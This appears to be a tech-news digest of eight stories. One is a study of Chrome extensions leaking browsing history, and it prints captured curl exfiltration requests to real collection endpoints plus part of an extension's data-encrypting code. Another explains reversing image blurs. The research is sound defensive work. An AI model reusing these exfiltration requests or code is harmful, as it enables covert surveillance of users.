10 interesting stories served every morning and every evening.




1 745 shares, 42 trendiness

Common vulnerabilities and Exposures (CVE)

...

Read the original on www.cve.org »

2 668 shares, 93 trendiness

Claude Code Is Being Dumbed Down

Version 2.1.20 of Claude Code shipped a change that re­placed every file read and every search pat­tern with a sin­gle, use­less sum­mary line.

Where you used to see:

You now get:

Searched for 1 pat­tern.” What pat­tern? Who cares.

You’re pay­ing $200 a month for a tool that now hides what it’s do­ing with your code­base by de­fault.

Across mul­ti­ple GitHub is­sues opened for this, all com­ments are pretty much say­ing the same thing: give us back the file paths, or at min­i­mum, give us a tog­gle.

For the ma­jor­ity of users, this change is a nice sim­pli­fi­ca­tion that re­duces noise.

What ma­jor­ity? The change just shipped and the only re­sponse it got is peo­ple com­plain­ing.

Then when pressed, the fix of­fered was­n’t to re­vert or add a tog­gle. It was: just use ver­bose mode.”

A big ole dump of think­ing traces, hook out­put, full sub­agent tran­scripts, and en­tire file con­tents into your ter­mi­nal. People ex­plained, re­peat­edly, that they wanted one spe­cific thing: file paths and search pat­terns in­line. Not a fire­hose of de­bug out­put.

The de­vel­op­er’s re­sponse to that?

I want to hear folks’ feed­back on what’s miss­ing from ver­bose mode to make it the right ap­proach for your use case.

Read that again. Thirty peo­ple say revert the change or give us a tog­gle.” The an­swer is let me make ver­bose mode work for you in­stead.”

As one com­menter put it:

If you are go­ing to dis­play some­thing like Searched for 13 pat­terns, read 2 files’ there is noth­ing I can do with that in­for­ma­tion. You might as well not dis­play it at all.

Several ver­sions later, the fix” is to keep mak­ing ver­bose mode less and less ver­bose by re­mov­ing think­ing traces and hook out­put so it be­comes a tol­er­a­ble way to get your file paths back. But ver­bose mode still dumps full sub-agent out­put onto your screen, among other things.

Before, when Claude spawned mul­ti­ple sub-agents you’d see a com­pact line-by-line stream of what each one was do­ing, just enough to glance at. Now you get walls of text from mul­ti­ple agents at once. So what’s the plan? Keep strip­ping things out of ver­bose mode one by one un­til it’s no longer ver­bose? Where does it end? At some point you’ve just rein­vented a con­fig tog­gle with ex­tra steps.

And the peo­ple who were us­ing ver­bose mode for think­ing and hooks now need to press Ctrl+O to get what they had by de­fault. So in­stead of fix­ing one prob­lem, you cre­ated two.

People are pin­ning them­selves to ver­sion 2.1.19 and in the mean­time the fix every­one is ask­ing for, a sin­gle boolean con­fig flag, would take less ef­fort to im­ple­ment than all the ver­bose mode surgery that’s been done in­stead.

Anthropic dur­ing the Super Bowl: we’d never dis­re­spect our users.

Anthropic on GitHub: have you tried ver­bose mode?

...

Read the original on symmetrybreak.ing »

3 431 shares, 32 trendiness

287 Extensions spying on 37M users

We built an au­to­mated scan­ning pipeline that runs Chrome in­side a Docker con­tainer, routes all traf­fic through a man‑in‑the‑mid­dle (MITM) proxy, and watches for out­bound re­quests that cor­re­late with the length of the URLs we feed it. Using a leak­age met­ric we flagged 287 Chrome ex­ten­sions that ex­fil­trate brows­ing his­tory.Those ex­ten­sions col­lec­tively have ~37.4 M in­stal­la­tions — roughly 1 % of the global Chrome user base.The ac­tors be­hind the leaks span the spec­trum: Similarweb, Curly Doggo, Offidocs, chi­nese ac­tors, many smaller ob­scure data‑bro­kers, and a mys­te­ri­ous Big Star Labs” that ap­pears to be an ex­tended arm of Similarweb.The prob­lem is­n’t new. In 2017, M. Weissbacher et al. re­search on ma­li­cious browser ex­ten­sions. In 2018, R. Heaton showed that the pop­u­lar Stylish” theme man­ager was silently send­ing brows­ing URLs to a re­mote server. Those past re­ports cought our eye and mo­ti­vated us to dig into this is­sue.Fast for­ward to 2025: Chome Store now hosts roughly 240 k ex­ten­sions, many of them with hun­dreds of thou­sands of users. We knew that we needed a scal­able, re­peat­able method to mea­sure whether an ex­ten­sion was ac­tu­ally leak­ing data in the wild.It was shown in the past that chrome ex­ten­sions are used to ex­fil­trate user browser his­tory that is then col­lected by data bro­kers such as Similarweb and Alexa. We try to prove in this re­port that Similarweb is very much still ac­tive and col­lects data.Why does it mat­ter? There is a moral as­pect to the whole is­sue. Imagine that you build your busi­ness model on data ex­fil­tra­tion via in­no­cent look­ing ex­ten­sions and us­ing that data to sell them to big cor­po­rates. Well, that’s how Similarweb is get­ting part of the data. That should re­mind us that what­ever soft­ware you are us­ing for free and it is not open sourced, you should as­sume you are the prod­uct. The sec­ond as­pect is that it puts the users into dan­ger and po­ten­tially this could be used for cor­po­rate ex­fil­tra­tion. Even if only browsed URLs are ex­fil­trated, they typ­i­cally con­tain per­sonal iden­ti­fi­ca­tions, that way bad ac­tors that would pay for the raw col­lected traf­fic can try to tar­get in­di­vid­u­als.We con­sid­ered shar­ing the de­tails of the setup, but we con­sid­ered this will only en­able at­tack­ers to adapt quicker to this method. For this rea­son we will not share the code nor the ex­act de­tails of the setup.We de­vel­oped our in­ter­nal re­search frame­work that was in­spired by M. Weissbacher et al. work:Syn­thetic brows­ing work­loads (increasing con­sis­tent pay­load send to google.com, this re­quest never left docker con­tainer).Sim­ple re­gres­sion model to see if there is core­la­tion be­tween out­bound traf­fic vol­ume and the length of the URLs we re­quest.The idea was sim­ple: if an ex­ten­sion is just read­ing the page ti­tle or in­ject­ing CSS, its net­work foot­print should stay flat re­gard­less of how long the URL we visit is. If the out­bound traf­fic grows lin­early with the URL length, we have a high prob­a­bil­ity that the ex­ten­sion is ship­ping the URL it­self (or the en­tire HTTP re­quest) to a re­mote server.mit­m­dump writes every re­quest/​re­sponse to a JSON file. After the run we parse the file and com­pute for each des­ti­na­tion do­main + end­point:The leak­age ra­tio is de­fined as:If R ≥ 1.0 we con­sider the end­point def­i­nitely leak­ing (the pay­load size is at least as big as the URL). If 0.1 ≤ R < 1.0 we flag it as prob­a­ble leak­age and send it for man­ual re­view. We scanned the leak­age in two stages first only 4 dif­fer­ent pay­load sizes and if the con­di­tion 0.1 ≤ R < 1.0 was full­filled we con­tin­ued with ad­di­tional dif­feren 6 pay­load sizes. Considering o naver­age 10 minute scan it took us 930 CPU days to per­form the scan. For scans that would take 1 day per ex­ten­sion, dif­fer­ent strat­egy would need to be con­sid­ered. Perhaps only the ex­ten­sions with higher user counts could be scanned for longer pe­riod of time.The ex­fil­trated data can be in some cases sold to data bro­kers such as Similarweb. Data bro­kers put to­gether those data and can re­sell them fur­ther to con­sumers. M. Weissbacher et al. re­search showed that third par­ties are in­ter­ested in scrap­ing those data for un­known rea­sons, per­haps to mon­e­tize the in­for­ma­tion gath­ered. We set up our own hon­ey­pots and we sup­plied the ex­ten­sions honey URLs.We should note that prob­a­bly not all of the browser his­tory leak­ing ex­ten­sions have ma­li­cious in­tent. The fol­low­ing table pro­vides list of leak­ing ex­ten­sions that were tagged by the au­to­mated scan and af­te­wards the logs were man­u­ally in­spected to re­move false pos­i­tives. Some of the ex­ten­sions might be be­nign and may need col­lect browser his­tory for func­tion­al­lity such as Avast Online Security & Privacy” for ex­am­ple.We per­formed OSINT on every flagged ex­ten­sion: ex­am­ined the de­vel­oper email, pri­vacy pol­icy URL, store de­scrip­tion, and cer­tifi­cate in­for­ma­tion of the ex­fil­tra­tion do­mains and their web­site if pro­vided. The re­sult is a map of ac­tors:We de­ter­mined by us­ing hon­ey­pot that Similarweb ex­ten­sions Similar Sites is linked to Kontera scraper that is linked to Curly Doggo and Offidocs. Kontera scraper is linked to some ex­ten­sions that we did­n’t link to any par­tic­u­lar Actor. We also be­lieve Big Star Labs is ac­tu­ally Similarweb due to sim­i­lar­i­ties that these ex­ten­sions share with Similarweb’s ex­ten­sions.There are only 38 coun­tries with more cit­i­zens than Poland. Even if some of the ex­ten­sions are not ac­tively sell­ing your data this mat­ter is highly alarm­ing.Cre­den­tial Harvesting — Some ex­ten­sions also re­quest cook­ies; cou­pling that with his­tory gives at­tack­ers a com­plete ses­sion pic­ture.We inl­cude a few ex­am­ples of the leak­age.This is the re­quest made to the ex­fil­tra­tion end­point, raw data are ob­fus­cated on pur­pose.curl https://​api2.poperblocker.com/​view/​up­date \

-H Accept: */*’ \

-H Accept-Language: en-GB,en-US;q=0.9,en;q=0.8’ \

-H Connection: keep-alive’ \

-H Content-Type: text/​plain’ \

-H Origin: chrome-ex­ten­sion://​bkkbcg­gn­hapdmkeljlodob­bkop­ce­iche’ \

-H Sec-Fetch-Dest: emp­ty’ \

-H Sec-Fetch-Mode: cors’ \

-H Sec-Fetch-Site: none’ \

-H Sec-Fetch-Storage-Access: ac­tive’ \

-H User-Agent: XXXXXX \

-H capr: www.google.com \

-H kata: ajax’ \

-H x-custom-keywords: %5B%5D’ \

-H x-uuid: XXXXXX \

–data-raw $‘LQFQiQ9EEADTbpTauTauHHH…’

However, it was­n’t that dif­fi­cult to de­cypher. Payload data are ob­fus­cated with ROT47.{

u”: https://​www.google.com/​search?q=tar­get,

kk”: ”,

p”: ”,

rd”: ”,

bin”: XXXXXX,

t”: generated”,

q1”: from_add_bar”,

to”: texted”,

tid”: XXXXXX,

ch”: 2,

us”: XXXXXX,

h”: XXXXXX,

ver”: 6,

sver”: 1,

dver”: 1,

nid”: 7.9.4″,

fiz”: XXXXXX

This is chal­leng­ing case, we did­n’t com­pletely de­crypt the pay­load, how­ever, we have pretty good idea of what is go­ing on.curl https://​user­style­sapi.com/​top/​styles \

-H Accept: */*’ \

-H Accept-Language: en-GB,en-US;q=0.9,en;q=0.8’ \

-H Connection: keep-alive’ \

-H Content-type: text/​plain’ \

-H Origin: chrome-ex­ten­sion://​fjnbnpbmkenffdnngjfg­meleoegfcf­fe’ \

-H Sec-Fetch-Dest: emp­ty’ \

-H Sec-Fetch-Mode: cors’ \

-H Sec-Fetch-Site: none’ \

-H Sec-Fetch-Storage-Access: ac­tive’ \

-H User-Agent: XXXXXX \

-H pthl: style’ \

-H styl: news.ycombi­na­tor.com’ \

-H x-session-init: s=a3e3e2a81&v=3.4.10&p=0’ \

–data-raw PyDk…’

The raw data are not only ob­fus­cated but en­crypted. The script gen­er­ates a ran­dom, one-time AES-256 key (symmetric key) in­side the browser. It en­crypts your data us­ing that AES key. It takes that one-time AES key and en­crypts it us­ing a Public RSA Key hard­coded in the script. It bun­dles the en­crypted key and the en­crypted data to­gether and sends them to the server. To de­crypt the data, we need the AES key. To get the AES key, we need to de­crypt the key blockand that is only pos­si­ble with the RSA Private Key. With al­ter­ing the code it would be pos­si­ble to pause ser­vice worker and cap­ture this AES gen­er­ated key. We will leave this as fun ex­er­cise to the reader. The leak­age for this end­point is con­firmed as the en­crypted pay­load grows with longer browsed URL.For the record here is the code where the en­cryp­ton is done._Prod­uctsCon­tainer._cre­ateAn­i­ma­tion8 = {

init: func­tion(e) {

const t = _ProductsContainer._createAnimation8,

n = e.in­stance,

a = {

s: a3e3e2a81”,

sub: chrome.run­time.get­Man­i­fest().ver­sion,

pid: n.re­moval

t.class = class {

as­sertScope­Val­ues(e, t, n) {

const a = JSON.stringify(n),

s = btoa(a),

i = Math.random().toString(36).substring(2, 4).toUpperCase() + s,

r = {};

re­turn r[e] = i,

r[t] = 9”,

r

async com­pi­la­tion­Gener­a­tor() {

re­turn self.crypto.sub­tle.gen­er­ateKey({

name: AES-GCM”,

length: 256

}, !0, [“encrypt”, decrypt”])

mergeRule­Con­figs(e, t) {

const n = btoa(String.from­Char­Code.ap­ply(null, new Uint8Array(e))),

a = btoa(String.from­Char­Code.ap­ply(null, new Uint8Array(t)));

re­turn ”.concat(n, ,“).concat(a)

async CmpNullValue(e, t, n) {

const a = JSON.stringify(n);

if (!this.recordsPath) {

const e = {“key_ops”:[“encrypt”],“ext”:true,“kty”:“RSA”,“n”:“z7mcaorg4Lg3uiPzud1bwLvRvsWK9bpTTsy_DxIX8WRcDndqNQHTgG0HZUTxggp2cLBnxvjG0UPxhfIPZZRed82vLsFYVvdJOsz9iZoKXHqT67RhbI2XecvWKp_ciaw6wRQAycklmIQJaZp4QA-P2Ye19FtG03VaNJRBUCy2Th6huKozUsRErnW5LBW0X7C_sxxpgAE9ijBhxwawnsGal7dCHGwgxcUe9-rfbCD9e7PEJCL_IE9L-hYzjngr5_vXjUU0udjwXNp3YnyA279CMA5bqucp5eI-kXXjsPJRGYw1znhuIwSP2soqXyRT22inklJ4VtBp3rctC5J6ZLnM8Q”,“e”:“AQAB”,“alg”:“RSA-OAEP-256”}’,

t = JSON.parse(e);

this.recordsPath = await self.crypto.sub­tle.im­portKey(“jwk”, t, {

name: RSA-OAEP”,

hash: SHA-256”

}, !1, [“encrypt”])

const s = {};

if (a.length < 190) {

const t = await self.crypto.sub­tle.en­crypt({

name: RSA-OAEP”

}, this.recordsPath, (new TextEncoder).encode(a));

s[e] = btoa(String.from­Char­Code.ap­ply(null, new Uint8Array(t)))

} else {

const t = await this.com­pi­la­tion­Gener­a­tor(),

n = self.crypto.ge­tRan­dom­Val­ues(new Uint8Array(12)),

i = await self.crypto.sub­tle.en­crypt({

name: AES-GCM”,

iv: n

}, t, (new TextEncoder).encode(a)),

r = new Uint8Array(n.length + i.byte­Length);

r.set(n),

r.set(new Uint8Array(i), n.length);

...

Read the original on qcontinuum.substack.com »

4 371 shares, 44 trendiness

...

Read the original on z.ai »

5 360 shares, 50 trendiness

Fluorite Game Engine

Fluorite is the first con­sole-grade game en­gine fully in­te­grated with Flutter.

Its re­duced com­plex­ity by al­low­ing you to write your game code di­rectly in Dart, and us­ing all of its great de­vel­oper tools. By us­ing a FluoriteView wid­get you can add mul­ti­ple si­mul­ta­ne­ous views of your 3D scene, as well as share state be­tween game Entities and UI wid­gets - the Flutter way!

At the heart of Fluorite lies a data-ori­ented ECS (Entity-Component-System) ar­chi­tec­ture. It’s writ­ten in C++ to al­low for max­i­mum per­for­mance and tar­geted op­ti­miza­tions, yield­ing great per­for­mance on lower-end/​em­bed­ded hard­ware. At the same time, it al­lows you to write game code us­ing fa­mil­iar high-level game APIs in Dart, mak­ing most of your game de­vel­op­ment knowl­edge trans­ferrable from other en­gines.

Your browser does not sup­port the video tag.

This fea­ture en­ables 3D Artists to de­fine clickable” zones di­rectly in Blender, and to con­fig­ure them to trig­ger spe­cific events! Developers can then lis­ten to onClick events with the spec­i­fied tags to trig­ger all sorts of in­ter­ac­tions! This sim­pli­fies the process of cre­at­ing spa­tial 3D UI, en­abling users to en­gage with ob­jects and con­trols in a more in­tu­itive way.

Your browser does not sup­port the video tag.

Powered by Google’s Filament ren­derer, Fluorite lever­ages mod­ern graph­ics APIs such as Vulkan to de­liver stun­ning, hard­ware-ac­cel­er­ated vi­su­als com­pa­ra­ble to those found on gam­ing con­soles. With sup­port for phys­i­cally-ac­cu­rate light­ing and as­sets, post-pro­cess­ing ef­fects, and cus­tom shaders, the de­vel­op­ers can cre­ate vi­su­ally rich and cap­ti­vat­ing en­vi­ron­ments.

Your browser does not sup­port the video tag.

Thanks to its Flutter/Dart in­te­gra­tion, Fluorite’s scenes are en­abled for Hot Reload! This al­lows de­vel­op­ers to up­date their scenes and see the changes within just a cou­ple frames. This sig­nif­i­cantly speeds up the de­vel­op­ment process, en­abling rapid it­er­a­tion and test­ing of game me­chan­ics, as­sets, and code.

...

Read the original on fluorite.game »

6 352 shares, 73 trendiness

Amazon Ring’s lost dog ad sparks backlash amid fears of mass surveillance

is a se­nior re­viewer with over twenty years of ex­pe­ri­ence. She cov­ers smart home, IoT, and con­nected tech, and has writ­ten pre­vi­ously for Wirecutter, Wired, Dwell, BBC, and US News.

is a se­nior re­viewer with over twenty years of ex­pe­ri­ence. She cov­ers smart home, IoT, and con­nected tech, and has writ­ten pre­vi­ously for Wirecutter, Wired, Dwell, BBC, and US News.

Posts from this au­thor will be added to your daily email di­gest and your home­page feed.

People voiced con­cerns across so­cial me­dia that the AI-powered tech­nol­ogy Ring uses to iden­tify dogs could soon be used to search for hu­mans. Combined with Ring’s re­cent roll­out of its new fa­cial recog­ni­tion ca­pa­bil­ity, it feels like a short leap for a pet-find­ing fea­ture to be turned into a tool for state sur­veil­lance.

Ring spokesper­son Emma Daniels told The Verge that Search Party is de­signed to match im­ages of dogs and is not ca­pa­ble of pro­cess­ing hu­man bio­met­rics.” Additionally, she main­tains that the Familiar Faces fa­cial recog­ni­tion fea­ture is sep­a­rate from Search Party. It op­er­ates on the in­di­vid­ual ac­count level, she said, and there’s no com­mu­nal shar­ing as there is with Search Party.

While Familiar Faces is opt-in for each user, Search Party is en­abled by de­fault on any out­door cam­era en­rolled in Ring’s sub­scrip­tion plan. It works by us­ing AI to scan footage in the cloud for the miss­ing dog once the owner up­loads a pic­ture to Ring’s Neighbors app. If a match is found, Ring alerts the cam­er­a’s owner, who can then choose to share the video or no­tify the owner through the app.

While that may be the case to­day, I asked whether Ring cam­eras could one day be used to specif­i­cally search for peo­ple. The way these fea­tures are built, they are not ca­pa­ble of that to­day,” she said. We don’t com­ment on fea­ture road maps, but I have no knowl­edge or in­di­ca­tion that we’re build­ing fea­tures like that at this point.”

Ring users can cur­rently share footage from their cam­eras with lo­cal law en­force­ment dur­ing an ac­tive in­ves­ti­ga­tion through a fea­ture called Community Requests. Unlike pre­vi­ous Ring po­lice part­ner­ships, Community Request goes through third-party com­pa­nies — the Taser com­pany Axon and, soon, Flock. The rea­son we did that is these third-party ev­i­dence man­age­ment sys­tems of­fer a much more se­cure chain of cus­tody,” says Daniels. If a user de­clines a re­quest, no one will be no­ti­fied.

The com­pany main­tains that nei­ther the gov­ern­ment nor law en­force­ment can ac­cess its net­work, and that footage is shared only by users or in re­sponse to a le­gal re­quest. Daniels re­it­er­ated what the com­pany had pre­vi­ously told The Verge, that it has no part­ner­ships with ICE or any other fed­eral agency, and said you can see every re­quest agen­cies have made on its Neighbors app pro­file.

Additionally, the Flock in­te­gra­tion is not cur­rently live, al­though Daniels had no up­date on the com­pa­ny’s plans for the part­ner­ship fol­low­ing the back­lash. She re­ferred me to an ear­lier re­sponse. As we ex­plore the in­te­gra­tion, we will en­sure the fea­ture is built for the use of lo­cal pub­lic safety agen­cies only — which is what the pro­gram is de­signed for.”

The prob­lem is that there’s noth­ing pre­vent­ing lo­cal agen­cies from shar­ing footage with fed­eral ones. And while the Super Bowl ad played up heart­warm­ing im­ages of a girl re­united with her puppy, the leap to this tech­nol­ogy that can track peo­ple in your neigh­bor­hood is still very small. Combined with gov­ern­ment over­reach, it’s not hard to imag­ine how a pow­er­ful net­work of AI-enabled cam­eras goes from find­ing lost dogs to hunt­ing peo­ple.

Siminoff said he came back be­cause of the pos­si­bil­i­ties AI brings. With this tech­nol­ogy, he be­lieves neigh­bor­hood cam­eras could be used to vir­tu­ally zero out crime” within a year. Given these stated goals and the new ca­pa­bil­i­ties AI can bring, why would­n’t Ring be plan­ning to add some form of Search Party for People to its cam­eras?

Eliminating crime is an ad­mirable goal, but his­tory has shown that tools ca­pa­ble of large-scale sur­veil­lance are rarely lim­ited to their orig­i­nal pur­pose. Ring has a re­spon­si­bil­ity here to pro­tect its users, which it says it is do­ing. But ul­ti­mately, it comes down to how much you can trust a com­pany — and the com­pany it keeps — to never over­step. If Ring is cloak­ing its am­bi­tions be­hind our in­stinct to pro­tect our furry friends, that trust will be hard to find.

...

Read the original on www.theverge.com »

7 341 shares, 24 trendiness

It's all a blur

If you fol­low in­for­ma­tion se­cu­rity dis­cus­sions on the in­ter­net, you might have heard that blur­ring an im­age is not a good way of redact­ing its con­tents. This is sup­pos­edly be­cause blur­ring al­go­rithms are re­versible.

But then, it’s not wrong to scratch your head. Blurring amounts to av­er­ag­ing the un­der­ly­ing pixel val­ues. If you av­er­age two num­bers, there’s no way of know­ing if you’ve started with 1 + 5 or 3 + 3. In both cases, the arith­metic mean is the same and the orig­i­nal in­for­ma­tion ap­pears to be lost. So, is the ad­vice wrong?

Well, yes and no! There are ways to achieve non-re­versible blur­ring us­ing de­ter­min­is­tic al­go­rithms. That said, in other cases, blur fil­ters can pre­serve far more in­for­ma­tion than would ap­pear to the naked eye — and do so in a pretty un­ex­pected way. In to­day’s ar­ti­cle, we’ll build a rudi­men­tary blur al­go­rithm and then pick it apart.

If blur­ring is the same as av­er­ag­ing, then the sim­plest al­go­rithm we can choose is the mov­ing mean. We take a fixed-size win­dow and re­place each pixel value with the arith­metic mean of n pix­els in its neigh­bor­hood. For n = 5, the process is shown be­low:

Note that for the first two cells, we don’t have enough pix­els in the in­put buffer. We can use fixed padding, borrow” some avail­able pix­els from out­side the se­lec­tion area, or sim­ply av­er­age fewer val­ues near the bound­ary. Either way, the analy­sis does­n’t change much.

Let’s as­sume that we’ve com­pleted the blur­ring process and no longer have the orig­i­nal pixel val­ues. Can the un­der­ly­ing im­age be re­con­structed? Yes, and it’s sim­pler than one might ex­pect. We don’t need big words like deconvolution”, point spread func­tion”, kernel”, or any scary-look­ing math.

We start at the left bound­ary (x = 0). Recall that we cal­cu­lated the first blurred pixel like by av­er­ag­ing the fol­low­ing pix­els in the orig­i­nal im­age:

Next, let’s have a look at the blurred pixel at x = 1. Its value is the av­er­age of:

We can eas­ily turn these av­er­ages into sums by mul­ti­ply­ing both sides by the num­ber of av­er­aged el­e­ments (5):

Note that the un­der­lined terms re­peat in both ex­pres­sions; this means that if we sub­tract the ex­pres­sions from each other, we end up with just:

The value of img(-2) is known to us: it’s one of the fixed padding pix­els used by the al­go­rithm. Let’s shorten it to c. We also know the val­ues of blur(0) and blur(1): these are the blurred pix­els that can be found in the out­put im­age. This means that we can re­arrange the equa­tion to re­cover the orig­i­nal in­put pixel cor­re­spond­ing to img(3):

We can also ap­ply the same rea­son­ing to the next pixel:

At this point, we seem­ingly hit a wall with our five-pixel av­er­age, but the knowl­edge of img(3) al­lows us to re­peat the same analy­sis for the blur(5) / blur(6) pair a bit fur­ther down the line:

This nets us an­other orig­i­nal pixel value, img(8). From the ear­lier step, we also know the value of img(4), so we can find img(9) in a sim­i­lar way. This process can con­tinue to suc­ces­sively re­con­struct ad­di­tional pix­els, al­though we end up with some gaps. For ex­am­ple, fol­low­ing the cal­cu­la­tions out­lined above, we still don’t know the value of img(0) or img(1).

These gaps can be re­solved with a sec­ond pass that moves in the op­po­site di­rec­tion in the im­age buffer. That said, in­stead of go­ing down that path, we can also make the math a bit more or­derly with a good-faith tweak to the av­er­ag­ing al­go­rithm.

The mod­i­fi­ca­tion that will make our life eas­ier is to shift the av­er­ag­ing win­dow so that one of its ends is aligned with where the com­puted value will be stored:

In this model, the first out­put value is an av­er­age of four fixed padding pix­els (c) and one orig­i­nal im­age pixel; it fol­lows that in the n = 5 sce­nario, the un­der­ly­ing pixel value can be com­puted as:

If we know img(0), we now have all but one of the val­ues that make up blur(1), so we can find img(1):

The process can be con­tin­ued it­er­a­tively, re­con­struct­ing the en­tire im­age — this time, with­out any dis­con­ti­nu­ities and with­out the need for a sec­ond pass.

In the il­lus­tra­tion be­low, the left panel shows a de­tail of The Birth of Venus by Sandro Botticelli; the right panel is the same im­age ran through the right-aligned mov­ing av­er­age blur al­go­rithm with a 151-pixel av­er­ag­ing win­dow that moves only in the x di­rec­tion:

Now, let’s take the blurry im­age and at­tempt the re­con­struc­tion method out­lined above — com­puter, ENHANCE!

This is rather im­pres­sive. The im­age is nois­ier than be­fore as a con­se­quence of 8-bit quan­ti­za­tion of the av­er­aged val­ues in the in­ter­me­di­ate blurred im­age. Nevertheless, even with a large av­er­ag­ing win­dow, fine de­tail — in­clud­ing in­di­vid­ual strands of hair — could be re­cov­ered and is easy to dis­cern.

The prob­lem with our blur al­go­rithm is that it av­er­ages pixel val­ues only in the x axis; this gives the ap­pear­ance of mo­tion blur or cam­era shake.

The ap­proach we’ve de­vel­oped can be ex­tended to a 2D fil­ter with a square-shaped or a cross-shaped av­er­ag­ing win­dow. That said, a more ex­pe­di­ent hack is to ap­ply the ex­ist­ing 1D fil­ter in the x axis and then fol­low with a com­ple­men­tary pass in the y axis. To undo the blur, we’d then per­form two re­cov­ery passes in the in­verse or­der.

Unfortunately, whether we take the 1D + 1D or the true 2D route, we’ll dis­cover that the com­bined amount of av­er­ag­ing per pixel causes the un­der­ly­ing val­ues to be quan­tized so se­verely that the re­con­structed im­age is over­whelmed by noise un­less the blur win­dow is rel­a­tively small:

That said, if we wanted to de­velop an ad­ver­sar­ial blur fil­ter, we could fix the prob­lem by weight­ing the orig­i­nal pixel a bit more heav­ily in the cal­cu­lated mean. For the x-then-y vari­ant, if the av­er­ag­ing win­dow has a size W and the cur­rent-pixel bias fac­tor is B, we can write the fol­low­ing for­mula:

This fil­ter still does what it’s sup­posed to do; here’s the out­put of an x-then-y blur for W = 200 and B = 30:

As a proof of con­cept for skep­tics, we can also make an ad­ver­sar­ial fil­ter that op­er­ates in two di­men­sions si­mul­ta­ne­ously. The fol­low­ing is a re­con­struc­tion af­ter a 2D fil­ter with a sim­ple cross-shaped win­dow:

Remarkably, the in­for­ma­tion hidden” in the blurred im­ages sur­vives be­ing saved in a lossy im­age for­mat. The top row shows im­ages re­con­sti­tuted from an in­ter­me­di­ate im­age saved as a JPEG at 95%, 85%, and 75% qual­ity set­tings:

The bot­tom row shows less rea­son­able qual­ity set­tings of 50% and be­low; at that point, the re­con­structed im­age be­gins to re­sem­ble ab­stract art.

For more weird al­go­rithms, click here or here. Thematic cat­a­log of posts on this site can be found on this page.

...

Read the original on lcamtuf.substack.com »

8 332 shares, 16 trendiness

Pentagon-FAA dispute over lasers to thwart cartel drones led to airspace closure, AP sources say

Add AP News as your pre­ferred source to see more of our sto­ries on Google.

Add AP News as your pre­ferred source to see more of our sto­ries on Google.

EL PASO, Texas (AP) — The sud­den and sur­pris­ing air­space clo­sure over El Paso, Texas, on Wednesday — first an­nounced as ex­tend­ing for 10 days but last­ing only a few hours — stemmed from the Pentagon’s plans to test a laser to shoot down drones used by Mexican drug car­tels, ac­cord­ing to three peo­ple fa­mil­iar with the sit­u­a­tion who spoke on con­di­tion of anonymity to share sen­si­tive de­tails.

That caused fric­tion with the Federal Aviation Administration, which wanted to en­sure com­mer­cial air safety, and the two agen­cies sought to co­or­di­nate, ac­cord­ing to two of the peo­ple.

Despite a meet­ing sched­uled for later this month to dis­cuss the is­sue, the Pentagon wanted to go ahead and test the laser, prompt­ing the FAA to shut­ter the air­space over the city on the U. S.-Mexico bor­der. The laser was used at some point, one of the peo­ple said.

Transportation Secretary Sean Duffy said ear­lier that the air­space closed as the Defense Department and the FAA halted an in­cur­sion by Mexican car­tel drones and the threat has been neu­tral­ized.” Drone in­cur­sions are not un­com­mon along the U. S.-Mexico bor­der.

The re­stric­tions were only in place for a cou­ple of hours in the city of nearly 700,000 peo­ple, but it is un­usual for an en­tire air­port to shut down even for a short time. Stranded trav­el­ers with lug­gage lined up at air­line ticket coun­ters and car rental desks be­fore the or­der was lifted.

Normal flights re­sumed in the morn­ing af­ter seven ar­rivals and seven de­par­tures were can­celed. Some med­ical evac­u­a­tion flights also had to be rerouted.

Jorge Rueda, 20, and Yamilexi Meza, 21, of Las Cruces, New Mexico, had their morn­ing flight to Portland, Oregon, can­celed, so they were los­ing part of their Valentine’s Day week­end trip.

Rueda said he was glad that 10 days turned into two hours.” They were booked on an evening flight out of El Paso.

The in­ves­ti­ga­tion into last year’s midair col­li­sion near Washington, D. C., be­tween an air­liner and Army he­li­copter that killed 67 peo­ple high­lighted how the FAA and Pentagon were not al­ways work­ing well to­gether.

The National Transportation Safety Board said the FAA and the Army did not share safety data with each other about the alarm­ing num­ber of close calls around Reagan National Airport and failed to ad­dress the risks.

Democratic Sen. Tammy Duckworth of Illinois, a for­mer Army he­li­copter pi­lot who serves on com­mit­tees fo­cused on avi­a­tion and the armed ser­vices, said the is­sue Wednesday was the lat­est ex­am­ple of the lack of co­or­di­na­tion that’s en­demic in this Trump ad­min­is­tra­tion.”

Rep. Veronica Escobar, a Democrat whose dis­trict in­cludes El Paso, said nei­ther her of­fice nor lo­cal of­fi­cials re­ceived any ad­vance no­tice of the clo­sure. After it was lifted, she said the in­for­ma­tion com­ing from the fed­eral gov­ern­ment does not add up.”

I be­lieve the FAA owes the com­mu­nity and the coun­try an ex­pla­na­tion as to why this hap­pened so sud­denly and abruptly and was lifted so sud­denly and abruptly,” Escobar said at a news con­fer­ence.

Officials at the White House, FAA and Department of Transportation did not im­me­di­ately re­spond to re­quests for com­ment about the dis­pute. The Pentagon said it had noth­ing to add to its state­ment that largely mir­rored Duffy’s com­ment.

Republican Rep. Tony Gonzales, whose con­gres­sional dis­trict cov­ers an area that stretches about 800 miles (1,300 kilo­me­ters) along Texas’ bor­der with Mexico, said car­tel drone sight­ings are com­mon.

For any of us who live and work along the bor­der, daily drone in­cur­sions by crim­i­nal or­ga­ni­za­tions is every­day life for us. It’s a Wednesday for us,” Gonzales said.

Steven Willoughby, deputy di­rec­tor of the counter-drone pro­gram at the Department of Homeland Security, told Congress in July that car­tels are us­ing drones nearly every day to trans­port drugs across the bor­der and sur­veil Border Patrol agents. More than 27,000 drones were de­tected within 500 me­ters (1,600 feet) of the south­ern bor­der in the last six months of 2024, he said, mostly at night.

What is extremely rare” is the clo­sure of an en­tire air­port over a se­cu­rity is­sue, ac­cord­ing to a for­mer chief se­cu­rity of­fi­cer at United Airlines.

Officials usu­ally will try to take se­cu­rity mea­sures to iso­late the risk if a spe­cific plane or air­line is threat­ened rather than shut down the air­port, said Rich Davis, now a se­nior se­cu­rity ad­viser at risk mit­i­ga­tion com­pany International SOS.

Asked about the drone ex­pla­na­tion pro­vided by U. S. of­fi­cials, Mexican President Claudia Sheinbaum said she had no in­for­ma­tion about the use of drones on the bor­der.” She noted that if U.S. au­thor­i­ties have more in­for­ma­tion, they should con­tact Mexico’s gov­ern­ment.

Mexican de­fense and navy sec­re­taries planned to talk with of­fi­cials from U. S. Northern Command in a meet­ing Wednesday in Washington at­tended by sev­eral other coun­tries, Sheinbaum told re­porters. Sheinbaum said the Mexican of­fi­cials would listen” in the meet­ing and her gov­ern­ment would look into the ex­act causes” of the clo­sure.

